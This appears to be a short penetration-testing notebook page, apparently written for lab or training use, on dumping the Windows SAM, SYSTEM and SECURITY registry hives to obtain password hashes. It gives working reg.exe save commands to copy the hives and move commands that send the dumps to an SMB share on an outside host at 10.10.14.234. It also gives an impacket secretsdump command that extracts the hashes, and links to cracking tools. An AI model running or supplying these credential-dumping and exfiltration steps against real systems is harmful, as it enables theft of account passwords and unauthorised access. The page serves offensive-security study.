Attacking SAM

Copying SAM Registry Hives

Registry Hive
Description

hklm\sam

Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.

hklm\system

Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.

hklm\security

Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.

We can create backups of these hives using the reg.exe utility.

cd C:\WINDOWS\system32
 reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
  • to copy files use

    • [[Create SMB server Linux (HACK)]]

move sam.save \\10.10.14.234\CompData
move security.save \\10.10.14.234\CompData
move system.save \\10.10.14.234\CompData
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Cracking Hashes with Hashcat

  • [[Hashcat]]

  • copy Hashes into file

Remote Dumping & LSA Secrets Considerations

  • [[CrackMapExec]]

Last updated